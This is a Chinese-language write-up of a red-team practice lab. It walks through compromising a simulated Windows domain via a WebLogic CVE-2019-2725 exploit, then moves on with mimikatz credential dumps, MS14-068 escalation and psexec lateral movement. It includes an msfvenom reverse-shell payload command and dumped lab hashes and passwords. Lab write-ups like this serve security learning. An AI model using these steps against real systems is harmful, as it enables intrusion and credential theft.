近日拿到红日团队第二套红队靶场,恰好还在学习内网知识,便搭建后拿来作为练手的环境,检测近一段时间的学习成果以便发现不足之处。
靶场拓扑
一、入口信息收集
使用nmap对web服务器进行端口扫描:
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Site doesn't have a title.
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds
3389/tcp open ssl/ms-wbt-server?
|_ssl-date: 2020-05-25T21:52:56+00:00; -8h00m00s from scanner time.
7001/tcp open http Oracle WebLogic Server (Servlet 2.5; JSP 2.1)
|_http-title: Error 404--Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49202/tcp open msrpc Microsoft Windows RPC
49222/tcp open msrpc Microsoft Windows RPC
MAC Address: 00:0C:29:8B:09:71 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 7
OS CPE: cpe:/o:microsoft:windows_7
OS details: Microsoft Windows 7
Uptime guess: 0.144 days (since Mon May 25 22:27:15 2020)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -9h59m59s, deviation: 3h59m59s, median: -8h00m00s
| smb-os-discovery:
| OS: Windows Server 2008 R2 Standard 7601 Service Pack 1 (Windows Server 2008 R2 Standard 6.1)
| OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
| Computer name: WEB
| NetBIOS computer name: WEB\x00
| Domain name: de1ay.com
| Forest name: de1ay.com
| FQDN: WEB.de1ay.com
|_ System time: 2020-05-26T05:52:16+08:00
| smb-security-mode:
| account_used:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-05-25T21:52:15
|_ start_date: 2020-05-25T18:27:44
因为开放了135、139、445端口,尝试对域信息进行收集,但是结果并不理想。
对信息做些整理:
开放端口:80、135、139、445、1433、3389、7001
域环境: de1ay.com
相关服务名称及版本:
Microsoft SQL Server 2008 R2 10.50.4000; SP2
Microsoft IIS httpd 7.5
系统: Windows Server 2008 R2 Standard 7601 Service Pack 1
二、利用weblogic漏洞获取立足点
想从80端口下手,直接访问页面是空白的,再对目录进行探测,发现也没有有用的目录或者文件。
尝试MS17-010:
这里先用MSF的scanner/smb/smb_ms17_010进行探测
紧接着使用windows/smb/ms17_010_eternalblue模块进行攻击:
连续好几次都不行,错误的原因都是对方断开连接,猜测可能有WAF或者AV
再尝试下7001端口,发现是weblogic服务:
扫描目录有新发现:
尝试爆破弱口令未果,尝试使用漏洞检测工具对其进行检测,发现存在CVE-2019-2725
这里尝试用msf的multi/misc/weblogic_deserialize_asyncresponseservice但是失败了:
再看所携带的payload:
很明显,设置的payload是针对unix环境的,在windows的环境自然没办法反弹回shell。
解决方法:
1、去https://www.exploit-db.com/exploits/46780下载exp
2、用以下命令生成一个反弹shell的powershell脚本:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.98.98 LPORT=8877 -f psh-cmd > reverse.ps1
3、替换payload中的exploit变量为生成的ps1脚本内容。
4、在msf中设置一个监听脚本后再用exp打目标,成功后能得到一个session
由于个人比较喜欢用cs来对windows环境进行后续的渗透,因此派生了个shell给cs。
三、深入内网
对环境信息开始进行收集:
当前身份信息收集:
服务器的IP信息:
因为目前身份权限比较低并且不能探测域内的信息(非域用户)。
再看看打了哪些补丁:
获取用户hash:
Authentication Id : 0 ; 2837076 (00000000:002b4a54)
Session : Interactive from 2
User Name : de1ay
Domain : WEB
Logon Server : WEB
Logon Time : 2020/5/26 3:38:35
SID : S-1-5-21-3767205380-3469466069-2137393323-1000
msv :
[00000003] Primary
* Username : de1ay
* Domain : WEB
* LM : f67ce55ac831223dc187b8085fe1d9df
* NTLM : 161cff084477fe596a5db81874498a24
* SHA1 : d669f3bccf14bf77d64667ec65aae32d2d10039d
tspkg :
* Username : de1ay
* Domain : WEB
* Password : 1qaz@WSX
wdigest :
* Username : de1ay
* Domain : WEB
* Password : 1qaz@WSX
kerberos :
* Username : de1ay
* Domain : WEB
* Password : 1qaz@WSX
ssp :
credman :
Authentication Id : 0 ; 2837042 (00000000:002b4a32)
Session : Interactive from 2
User Name : de1ay
Domain : WEB
Logon Server : WEB
Logon Time : 2020/5/26 3:38:35
SID : S-1-5-21-3767205380-3469466069-2137393323-1000
msv :
[00000003] Primary
* Username : de1ay
* Domain : WEB
* LM : f67ce55ac831223dc187b8085fe1d9df
* NTLM : 161cff084477fe596a5db81874498a24
* SHA1 : d669f3bccf14bf77d64667ec65aae32d2d10039d
tspkg :
* Username : de1ay
* Domain : WEB
* Password : 1qaz@WSX
wdigest :
* Username : de1ay
* Domain : WEB
* Password : 1qaz@WSX
kerberos :
* Username : de1ay
* Domain : WEB
* Password : 1qaz@WSX
ssp :
credman :
Authentication Id : 0 ; 2454896 (00000000:00257570)
Session : Interactive from 1
User Name : mssql
Domain : DE1AY
Logon Server : DC
Logon Time : 2020/5/26 11:29:47
SID : S-1-5-21-2756371121-2868759905-3853650604-2103
msv :
[00000003] Primary
* Username : mssql
* Domain : DE1AY
* LM : f67ce55ac831223dc187b8085fe1d9df
* NTLM : 161cff084477fe596a5db81874498a24
* SHA1 : d669f3bccf14bf77d64667ec65aae32d2d10039d
tspkg :
* Username : mssql
* Domain : DE1AY
* Password : 1qaz@WSX
wdigest :
* Username : mssql
* Domain : DE1AY
* Password : 1qaz@WSX
kerberos :
* Username : mssql
* Domain : DE1AY.COM
* Password : 1qaz@WSX
ssp :
credman :
这里发现有域用户 DE1AY\mssql。于是到当前进程中查看是否有该用户的进程。但是很遗憾并没有:
于是这里使用spawn来切换用户(密码已经使用mimikatz工具dump出来)。
切换成功后也可以看到此时的身份是域用户:
四、拿下域控权限
将用户切换成域用户之后便开始收集域相关的信息:
确定域控服务器的IP:
整理一下域的相关信息:
域控:DC(10.10.10.10)
域成员: Administrator、de1ay、krbtgt、mssql
域管理员:Administrator
域内服务器、工作站:PC$、WEB$
通过内网扫描得知存活的主机有3台:
在对10.10.10.0/24网段的主机进行端口扫描,得知:
10.10.10.201:3389
10.10.10.201:139
10.10.10.201:135
10.10.10.201:445
================
10.10.10.10:5985
10.10.10.10:3389
10.10.10.10:636
10.10.10.10:593
10.10.10.10:464
10.10.10.10:389
10.10.10.10:139
10.10.10.10:135
10.10.10.10:88
10.10.10.10:53
10.10.10.10:445 (platform: 500 version: 6.3 name: DC domain: DE1AY)
现在用mssql的账户去登录域控显然不可能,所以可以尝试ms14-068(因为从刚才的systeminfo信息看到,已经打上的补丁并没有ms14-068对应的编号)。
注入成功后尝试 dir \\10.10.10.10\c$,发现能成功,便采用cs的psexec让域控上线
这里还是上传个mimikatz把管理员的hash或者密码dump下来:
Authentication Id : 0 ; 303084 (00000000:00049fec)
Session : Interactive from 1
User Name : administrator
Domain : DE1AY
Logon Server : DC
Logon Time : 2020/5/26 3:32:38
SID : S-1-5-21-2756371121-2868759905-3853650604-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : DE1AY
* NTLM : cf83cd7efde13e0ce754874aaa979a74
* SHA1 : a2dc253087c47bce0db3f5931635212dbfdb9e77
[00010000] CredentialKeys
* NTLM : cf83cd7efde13e0ce754874aaa979a74
* SHA1 : a2dc253087c47bce0db3f5931635212dbfdb9e77
tspkg :
wdigest :
* Username : Administrator
* Domain : DE1AY
* Password : (null)
kerberos :
* Username : administrator
* Domain : DE1AY.COM
* Password : (null)
ssp : KO
credman :
Authentication Id : 0 ; 87692 (00000000:0001568c)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2020/5/26 3:29:06
SID : S-1-5-90-1
msv :
[00000003] Primary
* Username : DC$
* Domain : DE1AY
* NTLM : f4279db634f00ca3f5777e0b854547ec
* SHA1 : cba60160e129a91eece1c9dea521671bb7edb688
tspkg :
wdigest :
* Username : DC$
* Domain : DE1AY
* Password : (null)
kerberos :
* Username : DC$
* Domain : de1ay.com
* Password : 5c 94 06 ab 7a 40 8e b2 34 66 7f 28 25 ed 49 d6 19 b9 83 99 dc 9f 5f 1d 9f 65 58 d4 f1 42 a8 6c 41 56 0e 22 1d ff c2 33 12 64 ac 33 c2 71 d8 80 62 09 2e 43 e2 fb 52 e1 b9 1a f8 b3 c5 84 f9 f9 ab 60 0f 6b 6f 86 57 b6 9f 12 c0 9c d4 33 8d bd a3 80 d5 de 59 80 2e d5 aa 65 fa 30 89 15 02 af 35 d1 a6 1b cb 28 19 49 77 44 b9 a0 67 e1 8f e6 63 74 8b 58 51 32 8b 88 6c 63 e9 22 76 3d d0 b3 b1 d1 00 c3 38 a1 8a 66 59 6d 48 55 32 19 0f 8c 5c 3d c0 de 72 bd 89 bb 11 41 6f be 15 9d 41 8f a2 9d be f1 90 52 1e 66 4f cf e8 5c 47 a8 96 06 2b 3a d1 5c ff c4 e9 77 0f 30 b4 2f 59 9f fc 21 79 22 06 c0 53 b3 9f 14 72 66 75 7c c4 3e a8 f9 be 8b 08 8c b0 d3 a0 6b da b9 d9 59 ae af f4 03 f4 18 76 d0 c9 bc 58 d1 42 d6 a9 5d a3 ae 84 81
ssp : KO
credman :
五、利用域管账号扩大战果
既然有了管理员的账号,同样用psexec把pc机拿下:
至此拿下了全部靶机。
六、总结
本次在外部边界的突破依赖于weblogic的漏洞,控制web应用服务器后通过dump出账号密码将当前用户切换为域用户,通过ms14-068来伪造域管理员身份拿下域控,进而获得真正的域管理员账号信息,再通过其对其他域内主机进行横向。
内网安全是很多企业所忽视的环节,由于系统补丁更新不及时、人员安全意识薄弱,所以导致一旦被外部攻破就很容易在内网畅通无阻。因此建议企业需要注重内网的安全防护,增加流量监测设备、入侵告警、入侵防护设备;企业员工定期组织安全意识培训等。
如若转载,请注明原文地址: